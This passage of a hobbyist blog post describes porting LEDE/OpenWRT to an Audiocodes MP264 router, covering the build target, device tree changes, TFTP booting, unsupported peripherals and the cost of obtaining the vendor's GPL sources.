watchdog_mod.o

What comes before the LZMA-encoded part of the header? It appears that it is lzma-loader, a small tool whose job is to uncompress the rest of the firmware.

A note on naming

As a final note before we finish analysing the stock firmware, I would like to note that in all other OpenRG devices that I have found, firmware files have the .rmt extension. I have not found any other devices which use a .rms extension for firmware. I am unaware if there are any differences between the two formats, but it is an interesting question.

LEDE

Adding a target to the LEDE build system

Now that we've done a lot of analysis of the stock firmware, let's see if we can run LEDE/OpenWRT on this thing! I've tried using both, but for the purposes of this blog post, I'm going to be using LEDE, since that is where future development will be done. The bootlog shows that this is a Lantiq device, and we can also see "VR9" at the u-boot prompt, so according to this page, it falls into the xrx200 target. We add a new entry to the build system by opening target/linux/lantiq/image/Makefile and adding the following lines after
the "ifeq ($(SUBTARGET),xrx200)" line:
define Device/MP264
  $(Device/NAND)
  DEVICE_TITLE := Audiocodes MP264
  DEVICE_PACKAGES := kmod-usb2 kmod-rt2800-pci wpad-mini
endef
TARGET_DEVICES += MP264


Creating a device tree file

The only thing which remains now is to add a device tree file for the board. It seems that the procedure for creating device tree files is to copy the device tree file for a similar board and make changes to it until it works.

So, copy VR200v.dts, the device tree file for the TP-Link Archer VR200v, which looks similar and name it MP264.dts. Then, change the "model" field to a name of your choosing and change the line with "reg = <0x0 0x7f00000>;" to "reg = <0x0 0x3e00000>;" (this value for the memory was obtained from the OEM bootlog and *may* cause problems booting if not done).

Building LEDE

Then, using "make menuconfig", I select the target that I just created and select some options. Other than the packages referenced above (kmod-usb2 kmod-rt2800-pci wpad-mini), the main ones which I remember changing are:
Target Images - select ramdisk
Base System -> Busybox -> Linux system utilities - select lsusb and lspci

Note that I have not attempted to setup the DSL or telephony ports. I have no real need for them, and thus want to set up the ethernet, WiFi and USB first.

We now build using "make" and wait a long time.

Booting our LEDE image

After the build finishes, we see the output file at bin/targets/lantiq/xrx200/lede-lantiq-xrx200-MP264-initramfs-kernel.bin. To boot this, we still put it on the TFTP server, but the commands necessary to run it are slightly different:
VR9 # tftpboot 0x81000000 lede-lantiq-xrx200-MP264-initramfs-kernel.bin
VR9 # bootm

And now, we have successfully booted into LEDE!

Seeing what works

Plugging in an ethernet cable, we can establish a connection to the router and login using SSH.

I can also control GPIOs. Be careful doing this, though, because after changing some of them, I have had problems such as the serial console displaying garbled output on the next boot, or LEDs not turning on at the next boot. Booting into the OEM firmware will occasionally, but not always, fix these problems. I have not produced a table of which GPIO corresponds to which LED.

That's the good news. The bad news is that USB devices do not appear when plugged in, I can't find the on-board WiFi and I can't see any mtd devices. You can see more details in this post I made in the LEDE forums.

Hints for future porting work

I've made heaps of changes to the DTS file trying to make these devices work without success, but during this process I have got two pieces of information which may be useful to a future porter:

1. The WiFi chip may need a special file to be able to operate, RT3062.eeprom. For some reason, it isn't included in the LEDE source. However, you can download it from this repository and include it in your images by creating the directory structure files/lib/firmware in the root of the LEDE source and placing the file there. It must also be included in the device-tree file. You can find an example of what to include in P2812HNUF1.dts.

2. The device uses NAND flash, and we can obtain the layout from the output of "printenv". I've attempted to convert this into dts format below, but when I try adding a NAND flash section to the dts, the boot process stops half way through. Also, I just guessed the "read-only" labels in the below layout,so you may want to consider that before copying it:
        partitions {
                    partition@0 {
                        reg = <0x0 0x40000>;
                        label = "uboot";
                        read-only;
                    };

                    partition@40000 {
                        reg = <0x40000 0x80000>;
                        label = "firmware";
                    };

                    partition@c0000 {
                        reg = <0xc0000 0x200000>;
                        label = "kernel";
                    };

                    partition@2c0000 {
                        reg = <0x2c0000 0x6d40000>;
                        label = "rootfs";
                    };

                    partition@7000000 {
                        reg = <0x7000000 0x40000>;
                        label = "sysconfig";
                        read-only;
                    };

                    partition@7040000 {
                        reg = <0x7040000 0x40000>;
                        label = "ubootconfig";
                        read-only;
                    };

                    partition@7080000 {
                        reg = <0x7080000 0x40000>;
                        label = "fwdiag";
                        read-only;
                    };
                };


Getting GPL sources

After speaking to some people on IRC on #lede-dev, they recommended that if I want to go any further, I'm going to need to get the GPL source. According to Audiocodes' website, to get this source I need to send a certified check for USD 15 to their office in Israel by registered post, and they will send me a CD in return.

I wrote to ask them for details, and they said that they, in fact, wanted USD 15 per package, but they would only charge for the first 5 packages, so you'd have to pay USD 75 for the GPL sources (plus the costs of sending international registered mail/getting a certified check). Fortunately, they confirmed that the kernel and the bootloader are each treated as individual packages, so you'd only have to pay USD 15 for each one of those if you didn't want the rest of their GPL software.

Conclusion

At this stage, I don't think that I'm going to pursue the porting process any further. I've spent far too much time on it and I have other projects I want to start working on. That being said, I'd still like to get the remaining peripherals working under LEDE someday. If you have one of these devices and want to continue the porting effort, let me know! We might be able to work something out with regards to a GPL source request.

Thanks for reading, and have a Merry Christmas and a Happy New Year!

Comments

Popular posts from this blog

Local File Inclusion and reading password-protected forums in MyBB

Security implications of ANSI escape codes in Git sever responses